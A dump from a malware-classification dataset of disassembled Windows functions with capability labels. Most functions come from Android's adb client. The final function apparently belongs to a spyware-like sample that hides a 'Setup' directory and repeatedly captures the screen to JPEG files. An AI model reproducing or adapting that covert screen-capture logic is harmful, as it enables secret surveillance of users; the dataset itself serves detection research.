joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403460
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x3c
push 0x401440
call section..text
pop eax
pop edx
push 1
push 0x401450
call sub.KERNEL32.dll_SetConsoleCtrlHandler
pop esi
pop eax
call fcn.00404370
mov dword [0x42a008], 1
call fcn.004104b0
call fcn.0040f710
sub esp, 0xc
push 0x15b3
call fcn.00406520
add esp, 0xc
mov ebx, dword [ebp + 0xc]
push ebx
lea ebx, [ebp - 0x2a]
push 0x1e
push ebx
call fcn.004014b0
xor ecx, ecx
mov edx, str.smartsocket
mov eax, ebx
call fcn.00401cf0
add esp, 0x10
test eax, eax
jne 0x40358b
mov ecx, dword [ebp + 8]
test ecx, ecx
jne 0x403561
test byte [0x43cb58], 1
je 0x40354e
call sub.msvcrt__errno
sub esp, 0xc
mov esi, dword [eax]
push 0x43cb38
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [sym.imp.msvcrt__iob]
add esp, 0xc
add ebx, 0x40
push str.adb_main
push str.system_core_adb_adb.c
push 0x420056
push ebx
call fcn.004013a0
call sub.msvcrt__errno
mov dword [eax], esi
pop eax
pop edx
push str.Event_loop_starting_n
push ebx
call fcn.004013a0
mov dword [esp], ebx
call sub.msvcrt_fflush
mov dword [esp], 0x43cb38
call sub.KERNEL32.dll_LeaveCriticalSection
add esp, 0xc
call sub.msvcrt__errno
mov dword [eax], esi
call fcn.00410a40
call fcn.0040f3f0
lea esp, [ebp - 8]
xor eax, eax
pop ebx
pop esi
pop ebp
ret
sub esp, 0xc
push 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
lea edx, [ebp - 0xc]
push 0
push edx
push 3
push 0x4206a0
push eax
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
call fcn.00401b60
jmp 0x4034de
sub esp, 0xc
push 1
call sub.msvcrt_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x4062f0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x58
push str.ADBHOST
call sub.msvcrt_getenv
add esp, 0x10
test eax, eax
je 0x4063e0
mov edx, dword [ebp + 0xc]
push ecx
push 1
push edx
push eax
call fcn.00413750
add esp, 0x10
mov edi, eax
test eax, eax
js 0x4063e0
test byte [0x43cb58], 8
jne 0x406371
sub esp, 0xc
lea ebx, [ebp - 0x4c]
push edi
call fcn.004126a0
pop eax
mov eax, dword [ebp + 8]
push eax
push 0x421416
push str._s_d
push 0x40
push ebx
call fcn.00419140
add esp, 0x20
mov eax, dword [ebp + 0xc]
push 1
push eax
push ebx
push edi
call fcn.00404ee0
xor eax, eax
add esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.msvcrt__errno
sub esp, 0xc
mov esi, dword [eax]
push 0x43cb38
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [sym.imp.msvcrt__iob]
add esp, 0xc
add ebx, 0x40
push str.local_connect_arbitrary_ports
push str.system_core_adb_transport_local.c
push 0x4213e6
push ebx
call fcn.004062b0
call sub.msvcrt__errno
add esp, 0xc
mov dword [eax], esi
push edi
push str.client:_connected_on_remote_on_fd__d_n
push ebx
call fcn.004062b0
mov dword [esp], ebx
call sub.msvcrt_fflush
mov dword [esp], 0x43cb38
call sub.KERNEL32.dll_LeaveCriticalSection
add esp, 0xc
call sub.msvcrt__errno
mov dword [eax], esi
jmp 0x406331
push eax
push eax
mov eax, dword [ebp + 0xc]
push 1
push eax
call fcn.00413b10
mov edi, eax
add esp, 0x10
or eax, 0xffffffff
test edi, edi
jns 0x406328
jmp 0x406369
Function at 0x406520
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov esi, 0x406890
mov ebx, dword [0x42a008]
test ebx, ebx
jne 0x40653d
mov esi, 0x406620
test byte [0x43cb58], 8
jne 0x406590
push edi
mov ebx, dword [ebp + 8]
push ebx
push 0
push esi
call sub.msvcrt__beginthread
add esp, 0x10
inc eax
je 0x406561
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov ecx, dword [0x42a008]
mov eax, str.client
test ecx, ecx
jne 0x406575
mov eax, 0x42142c
push edx
push edx
push eax
push str.cannot_create_local_socket__s_thread
call fcn.004025b0
add esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.msvcrt__errno
sub esp, 0xc
mov edi, dword [eax]
push 0x43cb38
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [sym.imp.msvcrt__iob]
add esp, 0xc
add ebx, 0x40
push str.local_init
push str.system_core_adb_transport_local.c
push 0x4213e6
push ebx
call fcn.004062b0
call sub.msvcrt__errno
add esp, 0x10
mov dword [eax], edi
mov eax, str.client
mov ecx, dword [0x42a008]
test ecx, ecx
jne 0x4065e3
mov eax, 0x42142c
push edx
push eax
push str.transport:_local__s_init_n
push ebx
call fcn.004062b0
mov dword [esp], ebx
call sub.msvcrt_fflush
mov dword [esp], 0x43cb38
call sub.KERNEL32.dll_LeaveCriticalSection
add esp, 0xc
call sub.msvcrt__errno
mov dword [eax], edi
jmp 0x406546
Function at 0x407530
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
push eax
mov eax, 0x1008
call fcn.00418cf0
mov eax, dword [ebp - 0x10]
mov esi, eax
test eax, eax
js 0x4076ca
mov eax, dword [sym.imp.msvcrt__iob]
add eax, 0x40
mov dword [ebp - 0x1014], eax
lea esi, [esi]
test byte [0x43cb58], 1
jne 0x4075d1
lea esi, [esi]
lea edx, [ebp - 0x100c]
push eax
push 0x1000
push edx
push esi
call fcn.00411870
add esp, 0x10
mov edi, eax
test byte [0x43cb58], 1
jne 0x407647
cmp edi, 0
je 0x4076ca
jl 0x4076d2
mov ebx, dword [sym.imp.msvcrt__iob]
lea eax, [ebp - 0x100c]
add ebx, 0x20
push ebx
push edi
push 1
push eax
call sub.msvcrt_fwrite
mov dword [esp], ebx
call sub.msvcrt_fflush
add esp, 0x10
test byte [0x43cb58], 1
je 0x407570
call sub.msvcrt__errno
sub esp, 0xc
mov ebx, dword [eax]
push 0x43cb38
call sub.KERNEL32.dll_EnterCriticalSection
add esp, 0xc
push str.read_and_dump
push str.system_core_adb_commandline.c
push 0x4233d0
mov eax, dword [ebp - 0x1014]
push eax
call fcn.00407350
call sub.msvcrt__errno
add esp, 0xc
mov dword [eax], ebx
push esi
push str.read_and_dump__:_pre_adb_read_fd_d__n
mov eax, dword [ebp - 0x1014]
push eax
call fcn.00407350
pop eax
mov eax, dword [ebp - 0x1014]
push eax
call sub.msvcrt_fflush
mov dword [esp], 0x43cb38
call sub.KERNEL32.dll_LeaveCriticalSection
add esp, 0xc
call sub.msvcrt__errno
mov dword [eax], ebx
jmp 0x407570
call sub.msvcrt__errno
sub esp, 0xc
mov eax, dword [eax]
mov dword [ebp - 0x1010], eax
push 0x43cb38
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [sym.imp.msvcrt__iob]
add esp, 0xc
add ebx, 0x40
push str.read_and_dump
push str.system_core_adb_commandline.c
push 0x4233d0
push ebx
call fcn.00407350
call sub.msvcrt__errno
mov edx, dword [ebp - 0x1010]
mov dword [eax], edx
push edi
push esi
push str.read_and_dump__:_post_adb_read_fd_d_:_len_d_n
push ebx
call fcn.00407350
add esp, 0x14
push ebx
call sub.msvcrt_fflush
mov dword [esp], 0x43cb38
call sub.KERNEL32.dll_LeaveCriticalSection
add esp, 0xc
call sub.msvcrt__errno
mov edx, dword [ebp - 0x1010]
cmp edi, 0
mov dword [eax], edx
jne 0x40759e
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.msvcrt__errno
cmp dword [eax], 4
je 0x407560
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x407b50
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
push str.shell:
call fcn.0040a770
add esp, 0x10
mov ebx, eax
test eax, eax
js 0x407ba0
sub esp, 0xc
push 8
call sub.msvcrt_malloc
add esp, 0xc
mov dword [eax], ebx
mov dword [eax + 4], 0
push eax
push 0
push 0x407bd0
call sub.msvcrt__beginthread
mov eax, ebx
call fcn.00407530
xor eax, eax
add esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
call fcn.0040a0f0
push edx
push eax
mov eax, dword [sym.imp.msvcrt__iob]
push 0x423568
add eax, 0x40
push eax
call fcn.00407350
mov eax, 1
add esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x40d640
Capabilities:
Create thread

Disassembly:
push ebp
mov ecx, 4
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov edi, str.tcp:
mov ebx, dword [ebp + 8]
cld
mov esi, ebx
repe cmpsb byte [esi], byte es:[edi]
jne 0x40d6b5
sub esp, 0xc
add ebx, 4
push ebx
call sub.msvcrt_atoi
pop ecx
pop edi
push 0x3a
mov esi, eax
push ebx
call sub.msvcrt_strchr
add esp, 0x10
mov ebx, eax
test eax, eax
je 0x40d6f7
sub esp, 0xc
push 0x43cbc8
call sub.KERNEL32.dll_EnterCriticalSection
push eax
push eax
lea eax, [ebx + 1]
push 1
push esi
push eax
call fcn.00413750
add esp, 0x14
mov esi, eax
push 0x43cbc8
call sub.KERNEL32.dll_LeaveCriticalSection
add esp, 0xc
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
cld
mov esi, str.dns:
mov ecx, 4
mov edi, ebx
repe cmpsb byte [esi], byte es:[edi]
seta dl
setb al
or esi, 0xffffffff
cmp dl, al
jne 0x40d6ab
sub esp, 0xc
lea eax, [ebx + 4]
push eax
call sub.msvcrt.dll__strdup
add esp, 0x10
test eax, eax
je 0x40d6ab
lea esp, [ebp - 0xc]
mov edx, eax
mov eax, 0x40d5c0
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.0040d340
push edx
push edx
push 1
push esi
call fcn.00413b10
add esp, 0x10
mov esi, eax
test eax, eax
js 0x40d6ab
sub esp, 0xc
push eax
call fcn.004126a0
add esp, 0x10
jmp 0x40d6ab
Function at 0x40f710
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 0
push 0x40fb80
call sub.msvcrt__beginthread
add esp, 0x10
inc eax
je 0x40f730
leave
ret
sub esp, 0xc
push str.cannot_create_input_thread
call fcn.004025b0
add esp, 0x10
leave
ret

Function at 0x410430
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x120
push str.ANDROID_SDK_HOME
call sub.msvcrt_getenv
add esp, 0x10
test eax, eax
je 0x410466
push eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
push str._s_s_s
push eax
push ebx
call fcn.004103f0
add esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
sub esp, 0xc
lea ebx, [ebp - 0x108]
push ebx
push 0
push 0
push 0x28
push 0
call fcn.0041debc
add esp, 0xc
push ebx
jmp 0x41044c
Function at 0x4126a0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
call fcn.00411570
mov edx, eax
test eax, eax
je 0x4126bc
cmp dword [eax], 0x425dac
je 0x4126c0
leave
ret
sub esp, 0xc
lea eax, [ebp - 4]
push 4
push eax
push 1
push 6
mov eax, dword [edx + 0xc]
push eax
call fcn.00418af0
add esp, 0xc
leave
ret

Function at 0x412bd0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x43bf38]
test eax, eax
je 0x412be4
leave
ret
lea eax, [ebp - 0x190]
push ecx
push ecx
push eax
push 0x202
call fcn.00418b40
pop ecx
test eax, eax
pop edx
jne 0x412c20
sub esp, 0xc
push 0x412c40
call section..text
mov dword [0x43bf38], 1
add esp, 0x10
leave
ret
sub esp, 0xc
push str.adb:_could_not_initialize_Winsock_n
call fcn.00401460
add esp, 0x10
jmp 0x412bfd
Function at 0x413570
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov eax, 0x425dac
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 0xc]
call fcn.00411450
mov esi, eax
or eax, 0xffffffff
test esi, esi
je 0x413674
mov eax, dword [0x43bf38]
test eax, eax
je 0x413680
sub esp, 0xc
mov eax, dword [ebp + 8]
and eax, 0xffff
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov word [ebp - 0x20], 2
push eax
call fcn.00418b58
mov word [ebp - 0x1e], ax
push 0
call fcn.00418b60
mov dword [ebp - 0x1c], eax
push eax
push eax
push 0
push edi
push 2
call fcn.00418b68
add esp, 0x14
mov ebx, eax
cmp eax, 0xffffffff
je 0x413739
sub esp, 0xc
mov dword [esi + 0xc], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 1
push 4
push eax
push 0xfffffffffffffffb
push 0xffff
push ebx
call fcn.00418af0
push eax
push eax
lea eax, [ebp - 0x20]
push 0x10
push eax
push ebx
call fcn.00418b70
add esp, 0x14
test eax, eax
js 0x413739
mov edx, str.udp:
cmp edi, 1
je 0x413720
push eax
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, esi
push edx
call fcn.004105a0
push eax
lea eax, [esi + 0x18]
push str._d_any_server:_s_d_
push 0x20
push eax
call fcn.00419140
add esp, 0x20
cmp byte [0x43cb58], 0
js 0x413690
mov eax, esi
call fcn.004105a0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.00412bd0
jmp 0x4135a0
call sub.msvcrt__errno
sub esp, 0xc
mov eax, dword [eax]
push 0x43cb38
mov dword [ebp - 0x30], eax
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [sym.imp.msvcrt__iob]
add esp, 0xc
add ebx, 0x40
push str.socket_inaddr_any_server
push str.system_core_adb_sysdeps_win32.c
push str._s::_s__:
push ebx
call fcn.00410a20
call sub.msvcrt__errno
mov edx, dword [ebp - 0x30]
mov dword [eax], edx
mov eax, esi
call fcn.004105a0
add esp, 0x10
mov edx, 0x4259e0
dec edi
je 0x413748
sub esp, 0xc
mov edi, dword [ebp + 8]
push eax
push edx
push edi
push str.socket_inaddr_server:_port__d_type__s___fd__d_n
push ebx
call fcn.00410a20
add esp, 0x14
push ebx
call sub.msvcrt_fflush
mov dword [esp], 0x43cb38
call sub.KERNEL32.dll_LeaveCriticalSection
add esp, 0xc
call sub.msvcrt__errno
mov edx, dword [ebp - 0x30]
mov dword [eax], edx
jmp 0x41366d
push eax
push eax
push 4
push ebx
call fcn.00418b78
pop edx
test eax, eax
pop ecx
mov edx, 0x4259c6
jns 0x413642
mov eax, esi
call fcn.004105f0
or eax, 0xffffffff
jmp 0x413674
mov edx, 0x4259e4
jmp 0x4136e4
Function at 0x413750
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov eax, 0x425dac
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov edi, dword [ebp + 0x10]
call fcn.00411450
mov esi, eax
or eax, 0xffffffff
test esi, esi
je 0x41385c
mov edx, dword [0x43bf38]
test edx, edx
je 0x413864
sub esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.00418af8
add esp, 0xc
mov ebx, eax
test eax, eax
je 0x413913
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov eax, dword [eax + 8]
sub esp, 0xc
mov word [ebp - 0x1c], ax
mov eax, dword [ebp + 0xc]
and eax, 0xffff
push eax
call fcn.00418b58
mov word [ebp - 0x1a], ax
sub esp, 8
movsx eax, word [ebx + 0xa]
mov edx, dword [ebx + 0xc]
push eax
lea ecx, [ebp - 0x18]
mov eax, dword [edx]
push eax
push ecx
call sub.msvcrt_memcpy
add esp, 0x1c
push 0
push edi
movsx eax, word [ebx + 8]
push eax
call fcn.00418b68
pop edx
cmp eax, 0xffffffff
je 0x413913
mov dword [esi + 0xc], eax
lea edx, [ebp - 0x1c]
push ebx
push 0x10
push edx
push eax
call fcn.00418b80
pop ecx
test eax, eax
js 0x413913
mov eax, str.udp:
cmp edi, 1
je 0x413902
mov ebx, dword [ebp + 0xc]
push edx
push edx
push ebx
push eax
mov eax, esi
call fcn.004105a0
push eax
lea eax, [esi + 0x18]
push str._d_net_client:_s_d_
push 0x20
push eax
call fcn.00419140
add esp, 0x20
cmp byte [0x43cb58], 0
js 0x413870
mov eax, esi
call fcn.004105a0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.00412bd0
jmp 0x413781
call sub.msvcrt__errno
sub esp, 0xc
mov eax, dword [eax]
push 0x43cb38
mov dword [ebp - 0x20], eax
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [sym.imp.msvcrt__iob]
add esp, 0xc
add ebx, 0x40
push str.socket_network_client
push str.system_core_adb_sysdeps_win32.c
push str._s::_s__:
push ebx
call fcn.00410a20
call sub.msvcrt__errno
mov edx, dword [ebp - 0x20]
mov dword [eax], edx
mov eax, esi
call fcn.004105a0
add esp, 0x10
mov edx, 0x4259e0
dec edi
je 0x41390c
push ecx
push ecx
push eax
mov eax, dword [ebp + 0xc]
push edx
push eax
mov eax, dword [ebp + 8]
push eax
push str.socket_network_client:_host__s_port__d_type__s___fd__d_n
push ebx
call fcn.00410a20
add esp, 0x14
push ebx
call sub.msvcrt_fflush
mov dword [esp], 0x43cb38
call sub.KERNEL32.dll_LeaveCriticalSection
add esp, 0xc
call sub.msvcrt__errno
mov edx, dword [ebp - 0x20]
mov dword [eax], edx
jmp 0x413855
mov eax, 0x4259c6
jmp 0x41382a
mov edx, 0x4259e4
jmp 0x4138c4
mov eax, esi
call fcn.004105f0
or eax, 0xffffffff
jmp 0x41385c
Function at 0x413930
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov eax, 0x425dac
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
call fcn.00411450
mov ebx, eax
test eax, eax
jne 0x413954
or eax, 0xffffffff
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [0x43bf38]
test eax, eax
je 0x413a40
sub esp, 0xc
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], 0
and eax, 0xffff
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov word [ebp - 0x20], 2
push eax
call fcn.00418b58
mov word [ebp - 0x1e], ax
lea edi, [ebp - 0x20]
push 0x7f000001
call fcn.00418b60
mov dword [ebp - 0x1c], eax
push eax
push eax
push 0
mov eax, dword [ebp + 0xc]
push eax
push 2
call fcn.00418b68
add esp, 0x14
mov esi, eax
cmp eax, 0xffffffff
je 0x413949
sub esp, 0xc
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x10], 1
lea eax, [ebp - 0x10]
push 4
push eax
push 0xfffffffffffffffb
push 0xffff
push esi
call fcn.00418af0
push eax
push eax
push 0x10
push edi
push esi
call fcn.00418b70
add esp, 0x14
test eax, eax
js 0x413aec
mov edx, str.udp:
cmp dword [ebp + 0xc], 1
je 0x413ad3
push edi
push edi
mov esi, dword [ebp + 8]
mov eax, ebx
push esi
push edx
call fcn.004105a0
push eax
lea eax, [ebx + 0x18]
push str._d_lo_server:_s_d_
push 0x20
push eax
call fcn.00419140
add esp, 0x20
cmp byte [0x43cb58], 0
js 0x413a4a
mov eax, ebx
call fcn.004105a0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.00412bd0
jmp 0x413961
call sub.msvcrt__errno
sub esp, 0xc
mov edi, dword [eax]
push 0x43cb38
call sub.KERNEL32.dll_EnterCriticalSection
mov esi, dword [sym.imp.msvcrt__iob]
add esp, 0xc
add esi, 0x40
push str.socket_loopback_server
push str.system_core_adb_sysdeps_win32.c
push str._s::_s__:
push esi
call fcn.00410a20
call sub.msvcrt__errno
mov dword [eax], edi
mov eax, ebx
call fcn.004105a0
add esp, 0x10
mov edx, 0x4259e0
cmp dword [ebp + 0xc], 1
je 0x413b00
sub esp, 0xc
push eax
push edx
mov ecx, dword [ebp + 8]
push ecx
push str.socket_loopback_server:_port__d_type__s___fd__d_n
push esi
call fcn.00410a20
add esp, 0x14
push esi
call sub.msvcrt_fflush
mov dword [esp], 0x43cb38
call sub.KERNEL32.dll_LeaveCriticalSection
add esp, 0xc
call sub.msvcrt__errno
mov dword [eax], edi
jmp 0x413a31
push edi
push edi
push 4
push esi
call fcn.00418b78
pop edx
test eax, eax
pop ecx
mov edx, 0x4259c6
jns 0x413a06
mov eax, ebx
call fcn.004105f0
or eax, 0xffffffff
jmp 0x41394c
mov edx, 0x4259e4
jmp 0x413a9b
Function at 0x4194d0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x11c
mov ebx, dword [esp + 0x130]
call sub.msvcrt__errno
test ebx, ebx
mov dword [eax], 0
je 0x41968e
cmp byte [ebx], 0
je 0x419650
sub esp, 0xc
push ebx
call sub.KERNEL32.dll_GetFileAttributesA
add esp, 0xc
cmp eax, 0xffffffff
je 0x41967c
test al, 0x10
je 0x419650
push eax
push 0x104
push ebx
lea edi, [esp + 0x24]
push edi
call sub.msvcrt__fullpath
pop eax
mov ecx, edi
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
xor eax, 0xffffffff
and edx, eax
and edx, 0x80808080
je 0x41952e
test edx, 0x8080
je 0x419642
add dl, dl
sbb ecx, 3
sub ecx, edi
lea eax, [ecx + 0x233]
push eax
call sub.msvcrt_malloc
add esp, 0x10
mov ebx, eax
test eax, eax
je 0x41966a
lea esi, [eax + 0x22c]
mov ebp, eax
push eax
push eax
push edi
push esi
call sub.msvcrt_strcpy
add esp, 0x10
cmp byte [ebx + 0x22c], 0
jne 0x4195f4
sub esp, 0xc
push esi
call sub.msvcrt_strlen
add esp, 0xc
mov word [eax + esi], 0x2a
lea eax, [ebx + 0x120]
mov dword [ebx + 0x224], 0xffffffff
mov dword [ebx + 0x228], 0
mov dword [ebx + 0x118], 0
mov word [ebx + 0x11c], 0
mov word [ebx + 0x11e], 0
push 0x104
push 0
push eax
call sub.msvcrt_memset
add esp, 0x10
add esp, 0x11c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret
sub esp, 0xc
push esi
call sub.msvcrt_strlen
pop edx
pop ecx
push 0x2f
lea edi, [esi + eax - 1]
push esi
call sub.msvcrt_strrchr
add esp, 0x10
cmp eax, edi
je 0x41958f
push eax
push eax
push 0x5c
push esi
call sub.msvcrt_strrchr
add esp, 0x10
cmp edi, eax
je 0x41958f
sub esp, 0xc
push esi
call sub.msvcrt_strlen
add esp, 0x10
mov word [eax + esi], 0x5c
jmp 0x41958f
shr edx, 0x10
add ecx, 2
jmp 0x419552
call sub.msvcrt__errno
xor ebp, ebp
mov dword [eax], 0x14
add esp, 0x11c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.msvcrt__errno
xor ebp, ebp
mov dword [eax], 0xc
jmp 0x4195e7
call sub.msvcrt__errno
xor ebp, ebp
mov dword [eax], 2
jmp 0x4195e7
call sub.msvcrt__errno
xor ebp, ebp
mov dword [eax], 0xe
jmp 0x4195e7
Function at 0x402020
Capabilities:
Create process on windows

Disassembly:
push 0xa
push 0
push 0
call 0x402016
arpl word [eax + 0x72], bp
outsd dx, dword [esi]
insd dword es:[edi], dx
js 0x40207a
add al, ch
add eax, 0x6f000000
jo 0x402083
outsb dx, byte [esi]
add byte [edx], ch
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
call 0x402037
inc eax
xor dword [edx], esi
xor esi, dword [esi + 0x383736]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x402058
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
inc ecx
push 0
push str.Setup
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
push 0
push 0x2000000
push 3
push 0
push 3
push 0xc0000000
push str.Setup
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ecx, eax
test ecx, ecx
push str.Setup
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
or eax, 6
push eax
push str.Setup
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0
push 0x401046
push 0x401056
call dword [sym.imp.GDIPLUS.DLL_GdiplusStartup]
test eax, eax
push 0x401066
push 0x401062
call dword [sym.imp.GDIPLUS.DLL_GdipGetImageEncodersSize]
test eax, eax
jne 0x402224
push 4
push 0x1000
push dword [0x401066]
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
test eax, eax
je 0x402224
mov ebx, eax
push ebx
push dword [0x401066]
push dword [0x401062]
call dword [sym.imp.GDIPLUS.DLL_GdipGetImageEncoders]
test eax, eax
jne 0x402224
mov esi, dword [ebx + 0x30]
mov edi, str.image_jpeg
mov ecx, 0xb
repe cmpsw word [esi], word es:[edi]
je 0x402134
add ebx, 0x4c
dec dword [0x401062]
jne 0x402112
jmp 0x402224
lea esi, [ebx]
mov edi, 0x401036
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 0
call dword [sym.imp.USER32.DLL_GetDC]
test eax, eax
je 0x402224
mov esi, eax
push 1
call dword [sym.imp.USER32.DLL_GetSystemMetrics]
mov dword [0x40106e], eax
push 0
call dword [sym.imp.USER32.DLL_GetSystemMetrics]
mov dword [0x40106a], eax
push dword [0x40106e]
push dword [0x40106a]
push esi
call dword [sym.imp.GDI32.DLL_CreateCompatibleBitmap]
test eax, eax
je 0x40221b
mov ebx, eax
push esi
call dword [sym.imp.GDI32.DLL_CreateCompatibleDC]
test eax, eax
je 0x402214
mov edi, eax
push ebx
push edi
call dword [sym.imp.GDI32.DLL_SelectObject]
test eax, eax
je 0x40220d
push 0xcc0020
push 0
push 0
push esi
push dword [0x40106e]
push dword [0x40106a]
push 0
push 0
push edi
call dword [sym.imp.GDI32.DLL_BitBlt]
test eax, eax
je 0x40220d
push 0x40105e
push 0
push ebx
call dword [sym.imp.GDIPLUS.DLL_GdipCreateBitmapFromHBITMAP]
test eax, eax
jne 0x40220d
push 0
push 0x401036
push str.Setup__s.003
push dword [0x40105e]
call dword [sym.imp.GDIPLUS.DLL_GdipSaveImageToFile]
push dword [0x40105e]
call dword [sym.imp.GDIPLUS.DLL_GdipDisposeImage]
push edi
call dword [sym.imp.GDI32.DLL_DeleteObject]
push ebx
call dword [sym.imp.GDI32.DLL_DeleteObject]
push esi
push 0
call dword [sym.imp.USER32.DLL_ReleaseDC]
push dword [0x401056]
call dword [sym.imp.GDIPLUS.DLL_GdiplusShutdown]
jmp 0x402058